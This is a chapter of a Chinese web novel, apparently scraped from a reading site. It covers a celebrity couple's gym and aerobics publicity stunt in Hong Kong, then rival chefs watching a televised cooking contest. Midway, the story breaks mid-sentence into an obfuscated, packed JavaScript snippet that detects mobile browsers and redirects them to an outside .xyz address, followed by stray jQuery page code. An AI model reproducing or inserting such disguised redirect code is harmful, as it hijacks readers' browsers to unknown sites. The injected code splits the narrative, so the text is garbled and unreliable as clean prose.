岳宁和乔君贤一起去健身的消息中午就上了新闻。
昨晚师奶们看见电视里乖乖崽为了让她们的宁宁不能拒绝他的美色，开始锻炼身材了。
师奶们不禁感叹时光飞逝，乖乖崽真的长大了，努力追喜欢的女孩子了，不知道宁宁有没有被感动到。
到了早上，狗仔采访岳宁，师奶们听岳宁那么一说，顿时觉得这些狗仔太过分了，脑子里除了男男女女那些，还有什么？乖乖崽健身是为了健康。
下午，乔君贤来宁宴接了岳宁，岳宁没好气看他，昨天明明是去健身，有什么不好意思说的？
好吧！看他一脸心虚。恐怕还真是自己瞎扯的话，落进他心里了，跑去塑形。
“乔君贤。”
“嗯？”乔君贤虽然应了她，却生怕她会追根究底。他抢先问，“你怎么想到跳健美操？我不会啊！”
“我也不会。”岳宁说。
“不会？你怎么让老板安排跳健美操？”乔君贤问。
“给大家看个乐子，博大家笑一笑。”岳宁说。
乔君贤一直被教育要有教养，要在外保持风度。不会跳操，还要硬跳？
“接地气，让大家觉得你不仅仅是那个高高在上的富家公子，而是一个有血有肉的人。功利来说，咱们一个做餐饮，一个做家电，她们都是我们的客户。从心出发，她们喜欢我们，我们跟她们宣传健身，提倡正向的生活方式。”岳宁跟他说。
自己上辈子在年会上跳科目三，虽然跳得不怎么样，但是网上到处都是视频。
岳宁细细跟他说了今天的打算。
车子停到健身房边上的停车场，乔君贤一手提着袋子，一手牵着岳宁，到健身房门口。
狗仔立马凑过来：“乔先生，你是不是为了岳小姐来塑形？”
乔君贤往岳宁看去：“我就是这么想的。”
岳宁没想他就这么承认了，有点措手不及，吃惊地看着他。
“我在美国的时候，有健身的习惯，回来之后一忙，就偷懒了。”乔君贤笑着说，“我得把这个习惯重新捡起来。因为宁宁好厉害的，我怕她会嫌弃我。”
“岳小姐会嫌弃吗？”
“怎么会？他有这个自觉会更好。健身是个好习惯，我也每天都保持的呢！”岳宁笑着回答。
“岳小姐说今天要露腹肌？”
“就是穿个运动背心啦！”岳宁看向已经等着的健身房老板，说，
“那就走吧！
岳宁从乔君贤手里接过赵熙如给她准备的运动服，她进更衣室换上了衣服，走了出来，跟乔君贤站在一起。
她来港城已经将近三个月了，大家早就发现她比初来时候皮肤已经白了好多。
现在她穿着运动背心，露出肩膀和一截细腰，大家看出来她身上的皮肤和她脸上，手臂上的皮肤差异有多大，没有晒到太阳的皮肤，细白如瓷，她的腹肌就像整齐的白巧克力排。
那些狗仔拿着相机对着她拍，乔君贤却连低头多看一眼，都有些不太好意思。
岳宁跟乔君贤说：“热身？
“嗯。乔君贤和她一起热身。
热身好了。岳宁问乔君贤：“单杠卷腹，可以吗？
“好！
两人各自到一个单杠下，只见岳宁双手抓上单杠，她把背给了后面的那群记者。
乔君贤穿着运动T恤，只能看出他的双臂有肌肉，岳宁穿着背心，手臂和后背的肌肉很清晰。
她刚开始做了两个踢腿卷腹，乔君贤跟着她做了两个，她又来了两个踢杠卷腹，乔君贤依旧跟。
这时候她的腿翻过头，来了一个三百六十度翻转。
乔君贤也跟着翻了过来，这下两人都变成了反向抓杠。
岳宁还挺震惊，他这个都能行？乔君贤挑衅地挑了一下眉。
岳宁从后往前翻，这下轮到乔君贤震惊了，能从前往后翻的人都很少，她还能翻过来？
这个他不行，乔君贤放弃下杠。
岳宁笑着跳下来：“乔君贤，你非要跟我比这个？我练这些是为了有足够的力气保命，你为了什么？
“为了强身健体。乔君贤说。
“那不就行了？真是的。岳宁笑。
岳宁看向乔君贤：“我们锻炼方式，对大多数人来说不适合，所以我们今天准备了什么？
乔君贤一脸无可奈何说：“健美操。
“我想跟大姐姐们说，每个人的经历都不同，但是追求健康向上的生活，是我们共同的愿望。我们一起来锻炼吧！
健美操教练是个漂亮的小姐，带着他们去了健美操室，放起了音乐。
岳宁和乔君贤互相看着对方：“种一棵树最好的时间是十年前，其次是现在。姐姐们，不管你的基础像我，还是像TA，一起动起来吧！
原地踏步他们俩都会，后面两人就开始手忙脚乱了，就是拍他们的记
者都忍不住笑出来。
两人完成了健身房的采访
这些日子已经一遍又一遍地检查了她依旧像个要上考场的学生一样有些紧张。
苏菲跟她说：“回去吧！好好休息明天把自己打扮得美美的展现最好的状态。”
好吧！她听劝。
早早地回了家八点多就上了床想要看看复习资料也没办法定下心那就看电视吧！
她露腹肌这个新闻太**了以至于几家电视台轮番播放这个新闻但是其他电视台依旧断章取义就放她正面照上单杠的背面照还有说她比赢了乔君贤和他们俩跳健美操超级不协调的画面。纯粹就是在看他们笑话。
好在HTV从头到尾都放了还请了一个健身教练来解说他们俩做这几个动作的难度。
最后HTV宣布会开一档家庭健美操教学节目每天早上九点半播出这样师奶们刚刚送孩子去上学老公去上班有空可以学健美操。栏目名称就叫“一起动起来”
看完这段新闻就是明明她只是个观众但是却成了代言人的《港澳厨王大赛》首场。
岳宁虽然在现场全程看完了她还是从头到尾看了一遍电视里和自己在观众台上的感觉不一样。
观众台上她的视角有限电视片是多机位拍摄还有很多近镜头。
阿星不用说他的刀工自己也比不上。
她一直说阿明跟三个月前完全不同了这些话她是基于阿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915468|176918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明做的菜确实味道好了很多。
现在看他做菜的手法对火候的控制就是那天她没有尝一口她都能想得出来这个菜的味道是怎么样的。
如果阿明没有瞎来也许他会从第一道到最后一道全胜。
这一场就算是宝华楼名声在外但是宝华楼的张骏明真的算不上好厨子业内人士都认为春风楼会赢后来春风楼因为失误而出局大家都认为这是宝华楼的运气。
现在那些业内人士也正盯着电视机御龙轩的郭世杰、楼家富和陆进勇正聚在一起看节目刚开始他们一致认为春风楼是老师傅确实厉害。
第一关宝华楼就失利陆进勇和郭世杰还嘲笑张骏明连基本的调味都不懂。
楼家富是遇见了岳宁和张骏明那天岳宁的话言犹在耳就算节目把冗长的准备工作缩减到十分钟他依旧
看出来，这个张俊明不是他认识的那个有点懒，做事不够认真的小师弟。而是一个可以跟春风楼裘大厨一较高下的大厨。
其实第一关，固然是张骏明输了，但是宝华楼的这道白切啫喱鸡，好几个食客都说宁宴实在难订，他们御龙轩能不能也推宁宴的啫喱鸡。
他只能根据食客的说法，一遍一遍试，但是一来不能稳定地出冻，二来这个冻寡淡，吃起来也没觉得好。
现在他知道了，宁宴是调味了，只是味道比较淡，而能稳定出冻，就是热鸡急冷，浸泡足够的时间。
那两个居然还在嘲笑阿明不会调味？
张骏明已经到这个程度了，那么朱友松和陈良伟肯定也不一样了。
两道热菜，更是让楼家富吃惊，如果说冰火咕噜肉，好歹他听师傅说过，几十年前的福运楼会五花肉切片之后卷成团做。但是，他在宝华楼做，宝华楼根本没必要，他没做过。
下一道虾球，他跟那些评委一样，根本没猜到。
“这道虾球一点都不难吗？家富，明天宁宴开张，应该会上这道菜，咱们也做？”郭世杰说。
陆进勇说：“应该说普通人都能做。”
这是难不难的问题吗？
“鲩鱼片卷牛肉做汤？这个菜我们也可以做吧？”郭世杰问。
楼家富答：“可以。”
“家富啊！你这个师弟看起来还是有点本事的。你应该可以赢吧？”郭世杰在这个行业里也做了这么年，他还是能看得出来的。
陆进勇笑了一声：“老板，家富是这个张骏明的师兄，那是岳宝华的三个大徒弟之一。您担心什么？”
楼家富看着陆进勇，陆进勇脸上带着讥讽的笑容。
要是他输给自己的师弟，御龙轩也容不下自己。他避重就轻说：“我去试试这几个菜，老板希望明天能推出来。”
“嗯！让那个岳宁知道，她那点小聪明没什么用！这点新奇谁学不会？”郭世杰笑着说。
楼家富点头附和：“是啊！”
他们根本不知道宁宴的路数。御龙轩拿什么跟宁宴比？上一个以为学会了，价格低就能比得过宝华楼的丁胜强，已经欠了一屁股债，人都不知道躲哪里去了？
他也不知道阿明会在比赛上拿什么新菜出来，他哪里来的自信比赛一定能赢过阿明？